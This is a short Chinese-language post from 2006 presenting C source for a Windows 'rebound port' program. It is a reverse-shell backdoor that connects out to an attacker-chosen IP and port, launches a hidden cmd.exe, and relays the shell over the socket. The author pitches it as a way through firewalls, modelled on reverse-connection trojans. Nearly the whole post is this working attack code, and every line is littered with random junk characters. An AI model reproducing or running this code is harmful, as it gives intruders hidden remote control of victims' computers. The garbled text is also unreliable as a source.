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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7p,!<X}%  
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/* ============================== 1=Q3WMT  
Rebound port in Windows NT IZ+ZIR@}ci  
By wind,2006/7 {>>Gc2UT  
===============================*/ x% Eu.jj  
#include p87VJ}  
#include 2aW"t.[j  
M'ZA(LVp  
#pragma comment(lib,"wsock32.lib") -r6LndQs  
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void OutputShell(); WR4\dsgCU  
SOCKET sClient; JA^Y:@<{/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4B@L<Rl{\  
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void main(int argc,char **argv) C)0JcM  
{ U~{sJwB  
WSADATA stWsaData; y Ide]  
int nRet; 7Ust7%  
SOCKADDR_IN stSaiClient,stSaiServer; Q 1e hW  
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if(argc != 3) 0p ZX_L'  
{ _cXLQ)-  
printf("Useage:\n\rRebound DestIP DestPort\n"); w]Vd IS  
return; wLH[rwPr  
} n$(_(&  
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WSAStartup(MAKEWORD(2,2),&stWsaData); G+f@m,  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;/.XAxkFL  
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stSaiClient.sin_family = AF_INET; L\H,cimN  
stSaiClient.sin_port = htons(0); i.*Utm`1"e  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hKYA5]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ue)8g#  
{ [1gWc`#  
printf("Bind Socket Failed!\n"); gdyP,zMD7  
return; uWKc .  
} or1D 6 *'  
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stSaiServer.sin_family = AF_INET; y%x2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RA~%Cw4t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t9B]V  
2Aq%;=+*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @9<MW  
{ l~V^  
printf("Connect Error!"); 4RV5:&ALLS  
return; @.Pe.\Z  
} MH,vn</Uw  
OutputShell(); J 4EG  
} wx|eO[14  
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void OutputShell() @< @\CiM  
{ n/fMq,<8  
char szBuff[1024]; I?mU_^no  
SECURITY_ATTRIBUTES stSecurityAttributes; E#=slj @  
OSVERSIONINFO stOsversionInfo; y84= Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `_{^&W WS  
STARTUPINFO stStartupInfo; h)qapC5z,  
char *szShell; |?Z;tAF!  
PROCESS_INFORMATION stProcessInformation; cR+9^DzA  
unsigned long lBytesRead; wv8WqYV  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i|5K4Puu  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =gb.%a{R  
stSecurityAttributes.lpSecurityDescriptor = 0; M"eiKX  
stSecurityAttributes.bInheritHandle = TRUE; wtDy-H n  
` qqUuFMM  
C=6Vd  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |3?qL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O)qedy*&  
'K=n}}&:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \)?[1b&[_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \?_eQKiZ3  
stStartupInfo.wShowWindow = SW_HIDE; H *gF>1  
stStartupInfo.hStdInput = hReadPipe; G#&R/Tc5N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >d&_e[j  
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GetVersionEx(&stOsversionInfo); gZ*8F|sg  
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switch(stOsversionInfo.dwPlatformId) .OHjn|  
{ DV(^h$1_  
case 1: 4{d!}R  
szShell = "command.com"; p<\yp<g  
break; `4& GumG  
default: OE(Z)|LF  
szShell = "cmd.exe"; D<zgs2Ex  
break; _[8BAm  
} 4  |E`  
!'()QtvC<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NX^%a1D!  
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send(sClient,szMsg,77,0); t7#C&B  
while(1) xe;1D'(   
{ 'G!w0yF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c[4  H  
if(lBytesRead) g_\U-pzr  
{ 6_a42#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hVe@:1og#  
send(sClient,szBuff,lBytesRead,0); 8kz7*AO  
} Q]7Rqslz  
else  opK=Z  
{ Ldnw1xy  
lBytesRead=recv(sClient,szBuff,1024,0); 2-9'zN0u  
if(lBytesRead<=0) break; ]urrAIK  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1'dL8Y  
} *7'}"@@  
} `k}  
85P7I=`*d  
return; G'/36M@  
}
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